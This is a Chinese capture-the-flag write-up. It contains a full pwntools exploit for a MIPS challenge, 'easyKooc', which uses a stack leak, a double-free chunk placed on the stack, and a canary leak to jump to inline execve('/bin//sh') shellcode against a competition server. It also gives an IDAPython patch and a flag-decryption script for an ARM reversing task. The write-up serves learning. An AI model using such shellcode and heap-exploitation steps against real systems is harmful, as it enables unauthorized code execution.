easyKooc

本来是一个很简单的mips pwn,分配一个chunk到栈上然后ret2shellcode。一开始没找到合适的shellcode因为我一直觉得shellcode的长度要小于0x38。。。

于是我就妄想rop来getshell,导致浪费了很多时间,这题做完比赛都差不多要结束了。。。

贴一下exp,主要记录一下我这个还算比较短的shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import*
context.binary = './easyKooc'
context.log_level = 'debug'
debug = 0
if debug:
p = process(['qemu-mipsel','-L','./mipsel-linux-gnu','-g','1234','./easyKooc'])
else:
p = remote("121.36.166.138",8889)
#p = process(['qemu-mipsel','-L','./mipsel-linux-gnu','./easyKooc'])
def add(idx,content):
p.sendlineafter("choice\n",'1')
p.sendlineafter("id!\n",str(idx))
p.sendafter("content\n",content)

def free(idx):
p.sendlineafter("choice\n",'2')
p.sendlineafter("id!\n",str(idx))

def edit(content):
p.sendlineafter("choice\n",'3')
p.sendafter("leave?\n",content)
code = "\xff\xff\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xf4\xff\xaf\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf8\xff\xae\xaf\xfc\xff\xa0\xaf\xf4\xff\xa4\x27\xff\xff\x05\x28\xab\x0f\x02\x24\x0c\x01\x01\x01"
p.sendafter("motto!\n",code)
p.recvuntil("you: ")
leak = int(p.recv(10),16)
info("stack:"+hex(leak))
add(1,'aaaaaaa')
add(2,'bbbbbbb')
free(1)
free(2)
free(1)
add(3,p64(leak+0x20))
add(4,'aaaa')
edit('h'*0x21)
p.recvuntil("is "+'h'*0x21)
canary = u32(p.recv(3).rjust(4,'\x00'))
info("canary:"+hex(canary))
edit((p32(0)+p32(0x41))*4+p32(canary))
add(5,'gggg')
add(6,p32(canary)+'a'*4+p32(0x413008))
p.sendlineafter("choice\n",'4')
p.interactive()

baby_arm

用ida打开是反汇编不出主函数的,ghidra确可以。主要是因为作者在代码段中插入了一些奇怪的字节,比如

1
2
3
0001094c 02 df df f5     ldrb       sp,[DAT_00011856]
00010950 00 00 a0 e1 cpy r0,r0
00010954 00 00 a0 e1 cpy r0,r0

这也是程序没办法直接跑起来的原因

观察了一下这句指令应该没什么用,于是就改成和下面一样的cpy r0,r0(nop,mov r0,r0)。用idapython批量跑一下

1
2
3
4
5
6
7
8
9
10
start = 0x1040C
end = 0x10D18

a = "\x02\xdf\xdf\xf5"
b = [0,0,0xa0,0xe1]

for i in range(0,end-start,4):
if a == get_bytes(start+i,4):
for j in range(4):
patch_byte(start+i+j,b[j])

然后ida就可以正常看伪代码了(ghidra用起来还是不太习惯

主要逻辑

程序有两段check

  • 前13个字节会用mmap出来的三段代码进行加密 分别是+ - ^

  • 后12个字节是一个迷宫然后异或

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from itertools import permutations
import string
'''
v7 = 0x4FFED263;
v8 = 0x3F00D9B9;
v9 = 0x504380A0;
v10 = 0x55

0xFD, 0x9A, 0x9F, 0xE8, 0xC2, 0xAE, 0x9B, 0x2D, 0xC3, 0x11,
0x2A, 0x35, 0xF6, 0x00, 0x00, 0x00
'''

a = [0x63,0xd2,0xfe,0x4f,0xb9,0xd9,0x00,0x3f,0xa0,0x80,0x43,0x50,0x55]
b = [0xFD, 0x9A, 0x9F, 0xE8, 0xC2, 0xAE, 0x9B, 0x2D, 0xC3, 0x11, 0x2A, 0x35, 0xF6]

idx = 0
while(idx<13):
for i in permutations(string.printable,1):
i = i[0]
if idx%3 == 0:
if (ord(i)+b[idx])&0xff == a[idx]:
print(i,end='')
elif idx%3 == 1:
if (ord(i)-b[idx])&0xff == a[idx]:
print(i,end='')
else:
if (ord(i)^b[idx])&0xff == a[idx]:
print(i,end='')
idx += 1
print()
a = [ 0x54, 0x54, 0x54, 0x54, 0x54, 0x54, 0x3A, 0x30, 0x30, 0x30,
0x55, 0x3A, 0x54, 0x40, 0x54, 0x54, 0x54, 0x54, 0x3A, 0x30,
0x3A, 0x3A, 0x3A, 0x3A, 0x54, 0x40, 0x54, 0x54, 0x54, 0x54,
0x3A, 0x30, 0x30, 0x30, 0x30, 0x3A, 0x54, 0x54, 0x54, 0x54,
0x40, 0x54, 0x3A, 0x3A, 0x3A, 0x3A, 0x30, 0x3A, 0x54, 0x54,
0x54, 0x54, 0x88, 0x54, 0x3A, 0x3A, 0x3A, 0x3A, 0x3A, 0x3A]
idx= 0
for i in a:
if idx<6:
print(chr(i>>1),end='')
else:
print(chr(i^0x10),end='')
idx += 1
if idx == 6 or idx == 12:
print()
if idx == 12:
idx = 0
#aaassssdddsss
'''
v4 = 0x41203E53;
v5 = 0xB242C1E;
v6 = 0x52372836;
v7 = 0xE;
'''
a = [0x53,0x3e,0x20,0x41,0x1e,0x2c,0x24,0x0b,0x36,0x28,0x37,0x52,0x0e]
b = "aaassssdddsss"
for i in range(len(a)):
print(chr(ord(b[i])^a[i]),end='')

还有两个pwn看心情复现一下